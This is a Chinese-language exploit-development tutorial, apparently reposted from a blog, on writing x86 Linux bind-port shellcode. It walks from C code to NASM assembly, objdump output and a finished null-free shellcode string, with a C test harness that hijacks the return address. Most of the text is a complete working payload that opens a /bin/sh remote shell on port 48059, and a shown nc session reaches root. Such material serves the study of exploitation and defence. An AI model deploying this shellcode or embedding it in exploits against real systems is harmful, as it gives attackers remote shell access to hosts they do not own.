编写绑定端口的shellcode

示例C代码

#include<sys/socket.h>   //构造socket所需的库
#include<netinet/in.h>  //定义sockaddr结构
int main()
{
  char *shell[2];       //用于execv调用
  int server,client;    //文件描述符句柄
  struct sockaddr_in serv_addr; //保存IP/端口值的结构
  server=socket(2,1,0);   //建立一个本地IP socket,类型为stream(即tcp)
  serv_addr.sin_addr.s_addr=0;  //将socket的地址设置为所有本地地址
  serv_addr.sin_port=0xBBBB;  //设置socket的端口48059
  serv_addr.sin_family=2;   //设置协议族:IP
  bind(server,(struct sockaddr *)&serv_addr,0x10); //绑定socket
  listen(server,0);   //进入监听状态,等待连接
  client=accept(server,0,0);  //当有连接时,向客户端返回句柄
//将client句柄连接到stdin、stdout、stderr  
  dup2(client,0);   //将stdin连接client
  dup2(client,1);   //将stdout连接client
  dup2(client,2);   //将strderr连接到client
  shell[0]="/bin/sh";   //execve的第一个参数
  shell[1]=0;           //数组的第二个元素为NULL,表示数组结束
  execv(shell[0],shell,NULL);   //建立一个shell
}

测试代码

nc 192.168.0.189 48059

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
(wheel)

思路整理:

综述前一节的内容,建立socket的基本步骤如下:
server=socket(2,1,0)
bind(server,(struct sockaddr *)&serv_addr,0x10)
listen(server,0)
client=accept(server,0,0)
dup2(client,0),dup2(client,1),dup2(client,2)
execv "bin/sh"

在转向汇编之前,需要知道
在linux中,socket是通过使用socketcall系统调用(102)实现的。socketcall系统调用有两个参数。

ebx整数值,定义在/usr/include/net.h中。为建立一基本的socket,只需要
SYS_SOCKET 1
SYS_BIND 2
SYS_CONNECT 3
SYS_LISTEN 4
SYS_ACCEPT 5

ecx一个指针,指向一个参数数组,用于所调用的特定函数

汇编代码:

section .text
global _start
_start:
xor eax,eax ;清空eax
xor ebx,ebx ;清空ebx
xor edx,edx  ;清空edx

;server=socket(2,1,0)
push eax  ;socket的第三个参数:0
push byte 0x1 ;socket的第二个参数:1
push byte 0x2 ;socket的第一个参数:2
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
inc bl  ;将socketcall的第一个参数设置为1
mov al,102  ;调用socketcall,分支调用号为1:SYS_SOCKET
int 0x80  ;进入核心态,执行系统调用
mov esi,eax ;将返回值(eax)存储到esi中(即server句柄)

;bind(server,(struct sockaddr *)&serv_addr,0x10) 
push edx  ;仍然为零,用作接下来压栈的数据的结束符
push long 0xBBBB02BB  ;建立结构,端口:0xBBBB,sin.family:02,一个字节的任意值:BB
mov ecx,esp ;将结构的地址(在栈上),复制到ecx
push byte 0x10  ;开始bind的参数,首先将1个字节长度的数据16(长度)压栈
push ecx  ;在栈上保存结构的地址
push esi  ;将文件描述符server(现在是esi)保存到栈
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
inc bl  ;将b1设置为2,socketcall的第一个参数
mov al,102  ;调用socketcall,分支调用号为2:SYS_BIND
int 0x80  ;进入核心态,执行系统调用

;listen(server,0)
push edx  ;仍然为0,用来作为接下来压栈的数据的结束符
push esi  ;文件描述符server(esi)压栈
mov ecx,esp ;将数组的地址设置为socketcall的第二个参数
mov bl,0x4  ;将bl设置为4,socketcall的第一个参数
mov al,102  ;调用socketcall,分支调用号为4:SYS_LISTEN
int 0x80  ;进入核心态,执行系统调用

;client=accept(server,0,0)
push edx  ;仍然为零,将accept的第三个参数压栈
push edx  ;仍然为零,将accept的第二个参数压栈
push esi  ;将server文件的描述符压栈
mov ecx,esp ;将参数数组的地址放置到ecx中,用作socketcall的第二个参数
inc bl  ;将bl设置为5,用作socketcall的第一个参数
mov al,102  ;调用socketcall,分支调用号为5:SYS_ACCEPT
int 0x80  ;进入核心态,执行系统调用
;为dup2命令作准备,将client文件句柄保存到ebx
mov ebx,eax ;将返回的文件描述符client复制到ebx

;dup2(client,0)
xor ecx,ecx ;清空ecx
mov al,63 ;将系统调用的第一个参数设置为63:dup
int 0x80  ;进行系统调用

;dup2(client,1)
inc ecx ;ecx设置为1
mov al,63 ;准备进行系统调用:dup2:63
int 0x80  ;进行系统调用

;dup2(client,2)
inc ecx ;ecx设置为2
mov al,63 ;准备进行系统调用:dup2:63
int 0x80 ;进行系统调用

;标准的execv("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

nasm -f elf bind_port_shell.asm

ld -o bind_port_shell bind_port_shell.o

下面生成十六进制代码

[root@FC1 root]# objdump -d ./bind_port_shell
 
./bind_port_shell:     文件格式 elf32-i386
 
反汇编 .text 节:
 
08048080 <_start>:
 8048080:       31 c0                   xor    %eax,%eax
 8048082:       31 db                   xor    %ebx,%ebx
 8048084:       31 d2                   xor    %edx,%edx
 8048086:       50                      push   %eax
 8048087:       6a 01                   push   $0x1
 8048089:       6a 02                   push   $0x2
 804808b:       89 e1                   mov    %esp,%ecx
 804808d:       fe c3                   inc    %bl
 804808f:       b0 66                   mov    $0x66,%al
 8048091:       cd 80                   int    $0x80
 8048093:       89 c6                   mov    %eax,%esi
 8048095:       52                      push   %edx
 8048096:       68 bb 02 bb bb          push   $0xbbbb02bb
 804809b:       89 e1                   mov    %esp,%ecx
 804809d:       6a 10                   push   $0x10
 804809f:       51                      push   %ecx
 80480a0:       56                      push   %esi
 80480a1:       89 e1                   mov    %esp,%ecx
 80480a3:       fe c3                   inc    %bl
 80480a5:       b0 66                   mov    $0x66,%al
 80480a7:       cd 80                   int    $0x80
 80480a9:       52                      push   %edx
 80480aa:       56                      push   %esi
 80480ab:       89 e1                   mov    %esp,%ecx
 80480ad:       b3 04                   mov    $0x4,%bl
 80480af:       b0 66                   mov    $0x66,%al
 80480b1:       cd 80                   int    $0x80
 80480b3:       52                      push   %edx
 80480b4:       52                      push   %edx
 80480b5:       56                      push   %esi
 80480b6:       89 e1                   mov    %esp,%ecx
 80480b8:       fe c3                   inc    %bl
 80480ba:       b0 66                   mov    $0x66,%al
 80480bc:       cd 80                   int    $0x80
 80480be:       89 c3                   mov    %eax,%ebx
 80480c0:       31 c9                   xor    %ecx,%ecx
 80480c2:       b0 3f                   mov    $0x3f,%al
 80480c4:       cd 80                   int    $0x80
 80480c6:       41                      inc    %ecx
 80480c7:       b0 3f                   mov    $0x3f,%al
 80480c9:       cd 80                   int    $0x80
 80480cb:       41                      inc    %ecx
 80480cc:       b0 3f                   mov    $0x3f,%al
 80480ce:       cd 80                   int    $0x80
 80480d0:       52                      push   %edx
 80480d1:       68 2f 2f 73 68          push   $0x68732f2f
 80480d6:       68 2f 62 69 6e          push   $0x6e69622f
 80480db:       89 e3                   mov    %esp,%ebx
 80480dd:       52                      push   %edx
 80480de:       53                      push   %ebx
 80480df:       89 e1                   mov    %esp,%ecx
 80480e1:       b0 0b                   mov    $0xb,%al
 80480e3:       cd 80                   int    $0x80

 目测检查没有NULL字符,下面测试shellcode

#include<stdio.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xbb\x02\xbb\xbb\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
void main(){
  int *ret;
  ret=(int *)&ret+2;
  (*ret)=(int)shellcode;
}
原文地址:https://www.cnblogs.com/shanmao/p/2833860.html